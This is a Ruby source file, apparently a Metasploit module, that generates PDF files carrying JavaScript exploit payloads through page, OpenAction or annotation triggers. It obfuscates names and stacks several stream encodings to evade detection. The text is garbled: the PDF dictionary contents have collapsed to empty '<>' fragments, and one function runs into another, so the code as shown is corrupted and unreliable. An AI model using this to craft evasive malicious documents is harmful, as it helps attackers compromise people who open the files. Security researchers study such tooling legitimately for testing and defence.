## # $Id$ ## ### # # This module provides methods for creating PDF files. # ### module Msf module Exploit::PDF def initialize(info = {}) super register_options( [ OptBool.new('PDF::Obfuscate', [ true, 'Whether or not we should obfuscate the output', true ]), OptString.new('PDF::Method', [ true, 'Select PAGE, DOCUMENT, or ANNOTATION' , 'DOCUMENT']), OptString.new('PDF::Encoder', [ true, 'Select encoder for JavaScript Stream, valid values are ASCII85, FLATE, and ASCIIHEX', 'ASCIIHEX']), OptInt.new('PDF::MultiFilter', [ true, 'Stack multiple encodings n times', 1]), ], Msf::Exploit::PDF ) # We're assuming we'll only create one pdf at a time here. @xref = [] @pdf = '' end ## #Original Filters ## def ASCIIHexWhitespaceEncode(str) return str if not datastore['PDF::Obfuscate'] result = "" whitespace = "" str.each_byte do |b| result << whitespace << "%02x" % b whitespace = " " * (rand(3) + 1) end result << ">" end ## #Filters from Origami parser ## def RunLengthEncode(stream) eod = 128 result = "" i = 0 while i < stream.size # # How many identical bytes coming? # length = 1 while i+1 < stream.size and length < eod and stream[i] == stream[i+1] length = length + 1 i = i + 1 end # # If more than 1, then compress them. # if length > 1 result << (257 - length).chr << stream[i,1] # # Otherwise how many different bytes to copy ? # else j = i while j+1 < stream.size and (j - i + 1) < eod and stream[j] != stream[j+1] j = j + 1 end length = j - i result << length.chr << stream[i, length+1] i = j end i = i + 1 end result << eod.chr end def RandomNonASCIIString(count) result = "" count.times do result << (rand(128) + 128).chr end result end def ASCII85Encode(stream) eod = "~>" i = 0 code = "" input = stream.dup while i < input.size do if input.length - i < 4 addend = 4 - (input.length - i) input << "\0" * addend else addend = 0 end inblock = (input[i].ord * 256**3 + input[i+1].ord * 256**2 + input[i+2].ord * 256 + input[i+3].ord) outblock = "" 5.times do |p| c = inblock / 85 ** (4 - p) outblock << ("!"[0].ord + c).chr inblock -= c * 85 ** (4 - p) end outblock = "z" if outblock == "!!!!!" and addend == 0 if addend != 0 outblock = outblock[0,(4 - addend) + 1] end code << outblock i = i + 4 end code << eod end # http://blog.didierstevens.com/2008/04/29/pdf-let-me-count-the-ways/ def nObfu(str) return str if not datastore['PDF::Obfuscate'] result = "" str.scan(/./u) do |c| if rand(2) == 0 and c.upcase >= 'A' and c.upcase <= 'Z' result << "#%x" % c.unpack("C*")[0] else result << c end end result end ## #PDF building block functions ## def header(version = '1.5') hdr = "%PDF-1.5" << eol hdr << "%" << RandomNonASCIIString(4) << eol hdr end def add_object(num, data) @xref << @pdf.length @pdf << ioDef(num) @pdf << data @pdf << endobj end def range_rand(min,max) until min < r=rand(max); end return r end def finish_pdf @xref_offset = @pdf.length @pdf << xref_table @pdf << trailer(1) @pdf << startxref @pdf end def xref_table ret = "xref" << eol ret << "0 %d" % (@xref.length + 1) << eol ret << "0000000000 65535 f" << eol @xref.each do |index| ret << "%010d 00000 n" % index << eol end ret end def trailer(root_obj) ret = "trailer" << nObfu("<>" << eol ret end def startxref ret = "startxref" << eol ret << @xref_offset.to_s << eol ret << "%%EOF" << eol ret end def eol "\x0d\x0a" end def endobj "endobj" << eol end def ioDef(id) "%d 0 obj" % id end def ioRef(id) "%d 0 R" % id end ## #Controller funtion, should be entrypoint for pdf exploits ## def CreatePDF(js) strFilter = "" arrResults = [] numIterations = 0 arrEncodings = ['ASCII85','ASCIIHEX','FLATE','RUN'] arrEncodings = arrEncodings.shuffle if datastore['PDF::MultiFilter'] < arrEncodings.length numIterations = datastore['PDF::MultiFilter'] else numIterations = arrEncodings.length end for i in (0..numIterations-1) if i == 0 arrResults = SelectEncoder(js,arrEncodings[i],strFilter) next end arrResults = SelectEncoder(arrResults[0],arrEncodings[i],arrResults[1]) end case datastore['PDF::Method'] when 'PAGE' pdf_with_page_exploit(arrResults[0],arrResults[1]) when 'DOCUMENT' pdf_with_openaction_js(arrResults[0],arrResults[1]) when 'ANNOTATION' pdf_with_annot_js(arrResults[0],arrResults[1]) end end ## #Select an encoder and build a filter specification ## def SelectEncoder(js,strEncode,strFilter) case strEncode when 'ASCII85' js = ASCII85Encode(js) strFilter = "/ASCII85Decode"<>") add_object(2, nObfu("<>")) add_object(3, nObfu("<>")) add_object(4, nObfu("<>>>>>")) compressed = js stream = "<>" << eol stream << "stream" << eol stream << compressed << eol stream << "endstream" << eol add_object(5, stream) finish_pdf end ## #Create PDF with OpenAction implant Note: doesn't carry over if # you try to merge the exploit PDF with an innocuous one ## def pdf_with_openaction_js(js,strFilter) @xref = [] @pdf = '' @pdf << header add_object(1, nObfu("<>") add_object(2, nObfu("<>")) add_object(3, nObfu("<>")) add_object(4, nObfu("<>>>>>")) compressed = js stream = "<>" << eol stream << "stream" << eol stream << compressed << eol stream << "endstream" << eol add_object(5, stream) finish_pdf end ## #Create PDF with a malicious annotation ## def pdf_with_annot_js(js,strFilter) @xref = [] @pdf = '' @pdf << header add_object(1, nObfu("<>") add_object(2, nObfu("<>")) add_object(3, nObfu("<>")) add_object(4, nObfu("<>")) add_object(5, nObfu("<>>>>>")) compressed = js stream = "<>" << eol stream << "stream" << eol stream << compressed << eol stream << "endstream" << eol add_object(6, stream) finish_pdf end end end